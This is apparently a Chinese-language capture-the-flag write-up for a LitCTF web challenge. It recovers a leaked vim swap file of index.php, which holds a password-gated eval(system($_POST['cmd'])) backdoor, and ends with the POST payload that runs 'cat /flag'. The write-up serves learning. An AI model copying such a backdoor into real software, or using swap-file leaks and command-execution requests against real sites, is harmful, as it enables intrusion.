本文最后更新于123 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、访问网址
没有分析任何信息,根据题目提示的源码泄露,进行目录扫描
二、进行目录扫描
dirsearch目录扫描
在结果中发现一个
.index.php.swp
文件。直接访问该文件将其下载下来。
三、关于 .swp 文件
.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。
四、使用 vim 编辑器恢复 .swp 交换文件
vim -r
因为该文件中的信息显示原文件是在 /d/CTF/LitCTF/vim/index.php
目录下,为了进行后面的操作,我们先创建一个 /d/CTF/LitCTF/vim/index.php
目录
五、创建目录
六、恢复交换文件
vim -r index.php.swp
然后键入
:wq
七、访问文件
cat index.php
<html>
<head>
<meta charset="UTF-8">
<style type="text/css">
body,
html {
display: flex;
align-items: center;
justify-content: center;
}
div.vim {
display: flex;
align-content: center;
vertical-align: middle;
justify-content: center;
}
img {
border: none;
width: 8rem;
height: auto;
}
h1.vim_yyds {
color: #50f728;
display: flex;
align-items: flex-start;
justify-content: center;
margin-top: 50;
margin-left: 5px;
}
h3.vim_said {
color: #39c2ff;
display: flex;
justify-content: center;
align-items: center;
}
br,
p {
font-size: 20;
}
</style>
</head>
<body>
<main>
<div class="vim">
<img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>
<h1 class="vim_yyds">
Vim yyds
</h1>
</div>
<h3 class="vim_said">
队里师傅说Vim是世界上最好的编辑器,不接受反驳
</h3>
<div class="can_can_vim">
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
</div>
</main>
</body>
八、分析代码
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
只需要 POST 传参 password 等于字符串 “Give_Me_Your_Flag” base64 加密后的值即可
在进行代码执行
九、获取flag
使用post请求
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
十、总结
- vim泄露的.swp文件
- 目录扫描
- 使用vim进行文件恢复